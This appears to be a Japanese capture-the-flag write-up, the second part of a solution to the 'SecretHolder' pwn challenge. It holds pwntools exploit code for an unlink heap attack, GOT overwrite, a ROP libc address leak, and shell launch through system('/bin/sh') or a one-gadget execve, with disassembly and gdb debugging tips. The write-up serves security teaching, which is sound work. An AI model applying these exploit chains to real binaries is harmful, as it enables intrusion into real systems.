[katc@K_atc SecretHolder]$ objdump -Mintel -d SecretHolder | egrep "call.+read" -B 4 ... snipped ... -- 4009f9: ba 80 1a 06 00 mov edx,0x61a80 4009fe: 48 89 c6 mov rsi,rax 400a01: bf 00 00 00 00 mov edi,0x0 400a06: b8 00 00 00 00 mov eax,0x0 400a0b: e8 f0 fc ff ff call 400700 <read@plt> -- ... snipped ...
条件4(SSP無効化)
条件4は__stack_chk_fail()
のGOTを書き換えて、ret
に飛ばせばいいだけです。
テキトーなret gadgetに飛ばせばいいですね。
条件5(関数の第1引数)
条件5はinfrmation loak時にputs(buf)
をすることを意識しています。
x86-64ではrdiがcallする関数の第一引数に対応するため、callする1手前時点のスタックトップをrsiに入れてくれるpopret(pop rdi; ret;
)が必要になります。
幸いにもそのgadgetがあります。
gdb-peda$ asmsearch "pop rdi;ret" Searching for ASM code: 'pop rdi;ret' in: binary ranges 0x00400e03 : (5fc3) pop rdi; ret
まとめ
というわけでGOT Overwriteとlibcのベースアドレスのリークはこのようなコードになります。
addr = { "puts": 0x4006c0, # "sh": 0x4020ef + 7, # not loaded to memory "mygets": 0x4009f9, "main": 0x400cc2, "exit": 0x400770, } got = { "__libc_start_main": e.got["__libc_start_main"], "__stack_chk_fail": e.got["__stack_chk_fail"], "memset": e.got["memset"], } """GOT overwrite""" renew(small, ''.join([ # 0x0x6020b0-0x18 (0x602098): '\0' * 0x8, # (padding) p64(got["memset"]), # big_secret p64(0), # huge_secret (not used in this exploit) p64(got["__stack_chk_fail"]), # small_secret p32(1) * 3 # holding_{big,huge,small}_secret ])) renew(small, p64(rop["ret"])) # stack_check_fail() <- "function(){return};" # small_secret = rop["ret"] renew(big, p64(addr["mygets"])) # memset() <- mygets() # big_secret = addr["mygets"] r.recvuntil("3. Renew secret\n") r.send(''.join([ '\0' * (0x10 + 8), # (1), +8 = old $rbp p64(rop["pop rdi; ret"]), # rdi = argument of puts() p64(got["__libc_start_main"]), # arg p64(addr["puts"]), # puts address of __libc_start_main() p64(addr["main"]), # recall main() # p64(0x400ce3), # NG: need `mov rbp, rsp` because `rbp` is 0; to avoid SIGSEGV at setvbuf in set_alarm() ])) ret = r.recvline()[:-1] # trim '\n' libc_base_addr = u64(ret.ljust(8, '\0')) libc_base_addr -= offset["__libc_start_main"] print "libc base address = %#x" % libc_base_addr
GOT overwrite直前では先のUnlink Attackにより、small_secret
はsmall_secret-0x18
を指していることと、paddingが8バイト必要な点が注意です。
GOT overwriteによりmemsetがgetsのような関数に化けています。 バッファはmemsetに使われていたバッファはrbp+0x10にあるので、それぶんと$rbpに置かれているsaved old rbpのぶんを加味してバッファオーバーフローさせます。 1番目のROP gadgetが$rbp+0x8にあるreturn addressを書き換える位置に来ればあとはTOP発動でinfomation leakにさせます。
あとはputsで出力された6バイトのアドレスを受け取って、__libc_start_main
のオフセットを差し引けばlibcのベースアドレスが分かります。
# ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由は余談で話します。
シェル起動
あとはやるだけ、の一言でいいですよね。(GOT overwriteと同様にしてreturn addressを書き換え、シェルを呼ぶROPを発動しているだけです)
"""launch shell""" r.send(''.join([ '\0' * 0x18, p64(rop["pop rdi; ret"]), p64(libc_base_addr + offset["/bin/sh"]), p64(libc_base_addr + offset["system"]), p64(addr["exit"]), ])) # system("sh") r.interactive()
解法2(One-gadget RCEでinstant win作戦)
One-gadget RCEでさくっと勝ちましょうというのが2つ目の解法の方針です。 One-gadget RCEを解説した後、GOT overwriteでOne-gadgetにジャンプする準備をして、 RCE発動という流れで解説します。
One-gadget RCE とは
Dragon Sectorの資料に書かれていることがすべてなのですが、
x86-64(x86はダメ)のlibcに、
ある条件を満たしつつ、特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)
を実行してくれる親切なgadgetが存在します。
gadgetの探し方は/bin/sh
のアドレスを即値で入れてるような命令の周辺を探す方法で良いと思います。いくつか候補が出てきます(冗長なものはカットしてあります)。
ほんとにシェルを起動してくれそうなgadgetがありますね…(今回始めてこの手法を使った人の顔)
% objdump -d /usr/lib/libc-2.24.so | grep 161359 -A 8 -B 8 | grep execve -B 8 3f3aa: 48 8b 05 ef 8a 35 00 mov rax,QWORD PTR [rip+0x358aef] # 397ea0 <_DYNAMIC+0x340> 3f3b1: 48 8d 3d a1 1f 12 00 lea rdi,[rip+0x121fa1] # 161359 <_nl_POSIX_name+0x154> 3f3b8: 48 8d 74 24 30 lea rsi,[rsp+0x30] 3f3bd: c7 05 99 b0 35 00 00 mov DWORD PTR [rip+0x35b099],0x0 # 39a460 <lock> 3f3c4: 00 00 00 3f3c7: c7 05 93 b0 35 00 00 mov DWORD PTR [rip+0x35b093],0x0 # 39a464 <sa_refcntr> 3f3ce: 00 00 00 3f3d1: 48 8b 10 mov rdx,QWORD PTR [rax] 3f3d4: e8 97 90 07 00 call b8470 <execve> -- b8a23: 49 8d 7d 10 lea rdi,[r13+0x10] b8a27: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0] b8a2e: 00 b8a2f: 48 83 c6 08 add rsi,0x8 b8a33: e8 28 b2 fc ff call 83c60 <memcpy@GLIBC_2.2.5> b8a38: 48 8d 3d 1a 89 0a 00 lea rdi,[rip+0xa891a] # 161359 <_nl_POSIX_name+0x154> b8a3f: 4c 89 e2 mov rdx,r12 b8a42: 4c 89 ee mov rsi,r13 b8a45: e8 26 fa ff ff call b8470 <execve> -- d67d0: 48 8d 3d 4a c4 08 00 lea rdi,[rip+0x8c44a] # 162c21 <__libc_version+0xd1> d67d7: e8 b4 ee f5 ff call 35690 <unsetenv> d67dc: 8b 7c 24 60 mov edi,DWORD PTR [rsp+0x60] d67e0: e8 fb 52 00 00 call dbae0 <__close> d67e5: 48 8b 05 b4 16 2c 00 mov rax,QWORD PTR [rip+0x2c16b4] # 397ea0 <_DYNAMIC+0x340> d67ec: 48 8d 74 24 70 lea rsi,[rsp+0x70] d67f1: 48 8d 3d 61 ab 08 00 lea rdi,[rip+0x8ab61] # 161359 <_nl_POSIX_name+0x154> d67f8: 48 8b 10 mov rdx,QWORD PTR [rax] d67fb: e8 70 1c fe ff call b8470 <execve>
execve
で/bin/shを起動したいのですが、引数と環境変数のポインタがNULL、つまりrsi, rdxが0であることが望ましいです。
出てきた候補がシェルを起動してくれるための条件は上から
[rsp+0x30]
と[rax]
が0r12
,r13
が0[rsp+0x70]
と[rax]
が0
と思われますが、One-gadgetの候補が十分少ないので、gdbで確かめながら絞り込むよりも、片っ端から試せばいいよねというのが僕の感想です。 結果を先に書くと、2、3試したらうまくいきました。
GOT Overwriteとlibcのベースアドレスのリーク
前述と同様にしてGOT Overwriteします。
はじめに、small secretのポインタをfreeのGOTに向けます。
次に、freeのGOTをputsのpltでのアドレスで上書きします。
最後に、small secretには__libc_start_main
のアドレスを入れます。
以上の操作により、wipe(small)でputs(__libc_start_main
)したことになります。
(くどいですが、言い換えるとlibcの関数のアドレスをputsさせることになります)
補足)解法2(fastbinsを使わない解法※前編参照)ではhugeとsmallはメモリ上では同じアドレスになるようにmallocしてあります。 よって、hugeへの書き込みはsmallへの書き込みに相当します。
"""GOT overwrite""" renew(huge, ''.join([ # 0x0x6020b0-0x18 (0x602098): '\0' * 0x10, # (padding) p64(0), # big_secret p64(small_secret), # huge_secret p64(got["free"]), # small_secret p32(1) * 3 # holding_{big,huge,small}_secret ])) renew(small, p64(addr["puts"])) # puts(__libc_start_main) <- free(small) """leak libc base address""" renew(huge, ''.join([ p64(got["__libc_start_main"]) ])) wipe(small) ret = r.recvline()[:-1] # trim '\n' libc_base_addr = u64(ret.ljust(8, '\0')) libc_base_addr -= offset["__libc_start_main"] print "libc base address = %#x" % libc_base_addr
One-gadget RCE 発動→シェル起動
候補のOne-gadgetを片っ端から試すだけです。
注意点は一見関係が無さそうに見える_DYNAMIC
なんちゃらがあるアドレスを指定することです。
offset = { "system": 0x3f4d0, "/bin/sh": 0x161359, "__libc_start_main": 0x201a0, # "One-gadget": 0xb8a38, # $r12 == 0 && r13 == 0 # "One-gadget": 0xd67ec, # *($rsp+0x70) == 0 && *$rax == 0 "One-gadget": 0xd67e5, # *($rsp+0x70) == 0 && *$rax == 0 ... snip ... """launch shell""" renew(huge, ''.join([ p64(got["puts"]), # small_secret p32(1) * 3, ])) raw_input('Press Enter to continue: ') renew(small, p64(libc_base_addr + offset["One-gadget"])) r.interactive()
余談
Unlink AttackでのXはhuge_secret
でもいいが、後々これは微妙な理由
まずUnlink Attackにより、X-0x18
から始まるメモリをいじれることになります。
X-0x18はsmall_secret
では、0x6020b0-0x18=0x602098でstdoutの下になりますが、
huge_secret
では、0x6020a8-0x18=0x602090でstdoutの位置になります。
.bss
セクションのstdoutを参照するコードブロックがあり、それがmain相当の関数の冒頭で呼ばれるset_alarm()
なので、あとでmainの先頭に戻ることを前提にすると、stdoutを破壊してはなりません。
値を予想できないように見えるor予想するのがめんどくさいのでsmall_secret
をXとしてUnlink Attackしたほうが楽というわけです(この問題良く出来てるなぁ)。
set_alarm: 0000000000400c81 mov rbp, rsp 0000000000400c84 mov rax, qword [ds:stdout] 0000000000400c8b mov ecx, 0x0 ; argument "size" for method j_setvbuf 0000000000400c90 mov edx, 0x2 ; argument "type" for method j_setvbuf 0000000000400c95 mov esi, 0x0 ; argument "buf" for method j_setvbuf 0000000000400c9a mov rdi, rax ; argument "stream" for method j_setvbuf 0000000000400c9d call j_setvbuf 0000000000400ca2 mov esi, 0x400c68 ; argument "func" for method j_signal 0000000000400ca7 mov edi, 0xe ; argument "sig" for method j_signal 0000000000400cac call j_signal 0000000000400cb1 mov edi, 0x3c ; argument "seconds" for method j_alarm 0000000000400cb6 mov eax, 0x0 0000000000400cbb call j_alarm 0000000000400cc0 pop rbp 0000000000400cc1 ret ; endp
ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由
r.send(''.join([ '\0' * (0x10 + 8), # (1), +8 = old $rbp p64(rop["pop rdi; ret"]), # rdi = argument of puts() p64(got["__libc_start_main"]), # arg p64(addr["puts"]), # puts address of __libc_start_main() p64(addr["main"]), # recall main() ]))
まずは上のROPの実行対象のアセンブリを書き出してみます。 このとき、スタックオーバーフローを起こすためにmygetsなるgadgetを最初に呼んでいるのでそれも忘れずに書き出します。
# mygets mov edi,0x400e80 call 4006c0 <puts@plt> mov rax,QWORD PTR [rip+0x2016af] mov edx,0x61a80 mov rsi,rax mov edi,0x0 mov eax,0x0 call 400700 <read@plt> nop mov rax,QWORD PTR [rbp-0x8] xor rax,QWORD PTR fs:0x28 je 400a25 <exit@plt+0x2b5> call 4006d0 <__stack_chk_fail@plt> leave ret # popret pop rdi ret # puts(); jmp QWORD PTR [rip+0x20195a] push 0x1 jmp 4006a0 <free@plt-0x10> # main() push rbp mov rbp,rsp sub rsp,0x20 mov rax,QWORD PTR fs:0x28 mov QWORD PTR [rbp-0x8],rax xor eax,eax mov eax,0x0 call 400c80 <exit@plt+0x510> ... snipped ...
今回のスタックオーバーフローは、return addressまで0をパッディングしました。
ということはsaved $rbp(old $rbp)は0に書き換わります。
で、よく見ると上のアセンブリ列には悪しきleave
命令があります!
leave
命令の疑似命令はこうです。
IF StackAddressSize = 32 THEN ESP ← EBP; ELSE IF StackAddressSize = 64 THEN RSP ←RBP; FI; ELSE IF StackAddressSize = 16 THEN SP ← BP; FI; FI; IF OperandSize = 32 THEN EBP ← Pop(); ELSE IF OperandSize = 64 THEN RBP ← Pop(); FI; ELSE IF OperandSize = 16 THEN BP ← Pop(); FI; FI;
困りますね。ROPを発動するとleave命令とsaved $rbpのせいで、$rbpが0になってしまいます。
この状態でmainの途中から実行してもうまくいくはずがありません。というかセグフォで実際うまくいきません。
alarmを殺すことは忘れて大人しくmain()の先頭に戻ることが今回求められます。
main()の先頭に戻るとmov rbp,rsp
によりrbpの値がいい感じに復元されます(幸いにも$rspはROPで破壊されていません)。
お手軽Exploitコードのデバッグ方法
今回気づいた方法です。 Exploitコードに残してありますが、
raw_input('Press Enter to continue: ')
を入れると簡易的なブレークポイントとして機能します。
つまり、その行に到達して攻撃ペイロードの送信が止まります。
あとは、次のコマンドのようにして、gdbから起動中のプロセスにアタッチするとExploitコードのデバッグが可能になります。
プロセスのアタッチにはroot権限が必要なのでお忘れなく。
# pgrep
コマンド便利っすね
sudo gdb -q SecretHolder -x SecretHolder.gdb -p `pgrep SecretHolder`
pwntoolsで r.interactive()
でも止められますけど、とある条件で送られるペイロードが化けるようにみえるのでおすすめできません。
socatとgdb-serverの組み合わせによるデバッグでも、なぜかペイロードが化けるのでおすすめできません(問題によって化けなかったりして厄介だな)。
完成したExploitコード
gistに上げてあります。
https://gist.github.com/K-atc/0b48c901d705ae9bdbda40085d5c87f2
くぅ〜疲れましたっ><
これにて完結です!
Secret Holderは正しくいい問題でした。
(Unsafe)Unlink AttackやROPが初めての方はぜひ解いてみてください〜
別解を見つけた方はぜひご自身のブログで公開し、友利奈緒までご一報ぐださいませ。